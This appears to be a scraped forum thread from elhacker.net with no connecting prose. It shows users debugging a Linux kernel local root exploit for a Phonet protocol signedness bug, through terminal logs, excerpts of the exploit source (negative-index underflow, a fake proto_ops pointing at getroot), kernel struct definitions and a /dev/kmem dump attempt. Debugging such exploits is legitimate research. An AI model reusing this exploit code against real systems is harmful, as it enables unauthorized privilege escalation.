Foro de elhacker.net

bash-4.1# setcap cap_sys_admin+ep exploit
bash-4.1# exit
exit
bash-4.1$ ./exploit 
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
[*] Failed to resolve kernel symbols.

alex@shellroot:~/Escritorio$ sudo setcap cap_sys_admin+ep PoC

[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
 [+] Resolved proto_tab to 0xe255a1e8
 [+] Resolved pn_proto to 0xe255a040
 [+] Resolved pn_proto to 0xe255a040
 [+] Resolved commit_creds to 0xc016dd80
 [+] Resolved prepare_kernel_cred to 0xc016e0c0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
Killed

[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
 [+] Resolved proto_tab to 0xf8133fa8
 [+] Resolved pn_proto to 0xf8133e00
 [+] Resolved pn_proto to 0xf8133e00
 [+] Resolved commit_creds to 0xc016eb60
 [+] Resolved prepare_kernel_cred to 0xc016efc0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
[*] Underflow failed :-(.

 proto = -((proto_tab - low_kern_sym) / sizeof(void *));

    printf("[*] Underflowing with offset %d\n", proto);

    sock = socket(PF_PHONET, SOCK_DGRAM, proto);
    if(sock < 0) {
        printf("[*] Underflow failed :-(.\n");
        return -1;
    }

cat /proc/kallsyms | grep proto_tab

 /* This exploit leverages a signedness error in the Phonet protocol.  By
 * specifying a negative protocol index, I can craft a series of fake
 * structures in userspace and cause the incrementing of an arbitrary kernel
 * address, which I then leverage to execute arbitrary kernel code.
 */

    const struct proto_ops_skel fake_proto_ops2 = {
            .family     = AF_PHONET,   
            .ioctl      = &getroot,
    };     
 

static struct phonet_protocol *phonet_proto_get(int protocol) 
{
	if (protocol >= PHONET_NPROTO)
		return NULL;
        ...
	pp = rcu_dereference(proto_tab[protocol]);
        ...
	return pp;
}

static struct phonet_protocol *phonet_proto_get(int protocol)
{
        struct phonet_protocol *pp;

        if (protocol >= PHONET_NPROTO)
                return NULL;

        rcu_read_lock();
        pp = rcu_dereference(proto_tab[protocol]);
        if (pp && !try_module_get(pp->prot->owner))
                pp = NULL;
        rcu_read_unlock();

        return pp;
}

andres@andres-desktop:~/Escritorio$ gcc -w exploit.c -o exploit
andres@andres-desktop:~/Escritorio$ setcap cap_sys_admin+ep exploit
unable to set CAP_SETFCAP effective capability: Operation not permitted
andres@andres-desktop:~/Escritorio$ setcap cap_sys_admin+ep exploit
unable to set CAP_SETFCAP effective capability: Operation not permitted
andres@andres-desktop:~/Escritorio$ sudo setcap cap_sys_admin+ep exploit
[sudo] password for andres: 
andres@andres-desktop:~/Escritorio$ setcap cap_sys_admin+ep exploit
unable to set CAP_SETFCAP effective capability: Operation not permitted
andres@andres-desktop:~/Escritorio$ sudo -s 
root@andres-desktop:~/Escritorio# setcap cap_sys_admin+ep exploit
root@andres-desktop:~/Escritorio# exit
exit
andres@andres-desktop:~/Escritorio$ ./exploit
[*] Testing Phonet support and CAP_SYS_ADMIN...
[*] Resolving kernel symbols...
 [+] Resolved proto_tab to 0xf81291e8
 [+] Resolved pn_proto to 0xf8129040
 [+] Resolved pn_proto to 0xf8129040
 [+] Resolved commit_creds to 0xc016e080
 [+] Resolved prepare_kernel_cred to 0xc016e3c0
[*] Preparing fake structures...
[*] Copying Structures.
[*] Underflowing with offset -70
Terminado (killed)

andres@andres-desktop:~$ uname -a
Linux andres-desktop 2.6.32-26-generic #48-Ubuntu SMP Wed Nov 24 09:00:03 UTC 2010 i686 GNU/Linux
andres@andres-desktop:~$

andres@andres-desktop:~/Escritorio$ gcc -I/lib/modules/`uname -r`/build/include test.c -o test
andres@andres-desktop:~/Escritorio$ '/home/andres/Escritorio/test' 
#define SYM_OFFSET 0x90

struct proto {
	void			(*close)(struct sock *sk, 
					long timeout);
	int			(*connect)(struct sock *sk,
				        struct sockaddr *uaddr, 
					int addr_len);
	int			(*disconnect)(struct sock *sk, int flags);

	struct sock *		(*accept) (struct sock *sk, int flags, int *err);

	int			(*ioctl)(struct sock *sk, int cmd,
					 unsigned long arg);
	int			(*init)(struct sock *sk);
	void			(*destroy)(struct sock *sk);
	void			(*shutdown)(struct sock *sk, int how);
	int			(*setsockopt)(struct sock *sk, int level, 
					int optname, char __user *optval,
					unsigned int optlen);
	int			(*getsockopt)(struct sock *sk, int level, 
					int optname, char __user *optval, 
					int __user *option);  	 
#ifdef CONFIG_COMPAT
	int			(*compat_setsockopt)(struct sock *sk,
					int level,
					int optname, char __user *optval,
					unsigned int optlen);
	int			(*compat_getsockopt)(struct sock *sk,
					int level,
					int optname, char __user *optval,
					int __user *option);
#endif
	int			(*sendmsg)(struct kiocb *iocb, struct sock *sk,
					   struct msghdr *msg, size_t len);
	int			(*recvmsg)(struct kiocb *iocb, struct sock *sk,
					   struct msghdr *msg,
					size_t len, int noblock, int flags, 
					int *addr_len);
	int			(*sendpage)(struct sock *sk, struct page *page,
					int offset, size_t size, int flags);
	int			(*bind)(struct sock *sk, 
					struct sockaddr *uaddr, int addr_len);

	int			(*backlog_rcv) (struct sock *sk, 
						struct sk_buff *skb);

	/* Keeping track of sk's, looking them up, and port selection methods. */
	void			(*hash)(struct sock *sk);
	void			(*unhash)(struct sock *sk);
	void			(*rehash)(struct sock *sk);
	int			(*get_port)(struct sock *sk, unsigned short snum);
	void			(*clear_sk)(struct sock *sk, int size);

	/* Keeping track of sockets in use */
#ifdef CONFIG_PROC_FS
	unsigned int		inuse_idx;
#endif

	/* Memory pressure */
	void			(*enter_memory_pressure)(struct sock *sk);
	atomic_long_t		*memory_allocated;	/* Current allocated memory. */
	struct percpu_counter	*sockets_allocated;	/* Current number of sockets. */
	/*
	 * Pressure flag: try to collapse.
	 * Technical note: it is used by multiple contexts non atomically.
	 * All the __sk_mem_schedule() is of this nature: accounting
	 * is strict, actions are advisory and have some latency.
	 */
	int			*memory_pressure;
	long			*sysctl_mem;
	int			*sysctl_wmem;
	int			*sysctl_rmem;
	int			max_header;
	bool			no_autobind;

	struct kmem_cache	*slab;
	unsigned int		obj_size;
	int			slab_flags;

	struct percpu_counter	*orphan_count;

	struct request_sock_ops	*rsk_prot;
	struct timewait_sock_ops *twsk_prot;

	union {
		struct inet_hashinfo	*hashinfo;
		struct udp_table	*udp_table;
		struct raw_hashinfo	*raw_hash;
	} h;

	struct module		*owner;

	char			name[32];

	struct list_head	node;
#ifdef SOCK_REFCNT_DEBUG
	atomic_t		socks;
#endif
};

0xf8??????     proto {
                               .....
                               .....
                 
                                char	name[32];  <-- proto_tab[-70] apuntaria aquí
                              }

0xf8??????     proto_tab{

                                   }

./a.out 0xbffff65e
/dev/kmem opened.
Error at line 81, file vuelca_memoria.c (5) [Input/output error]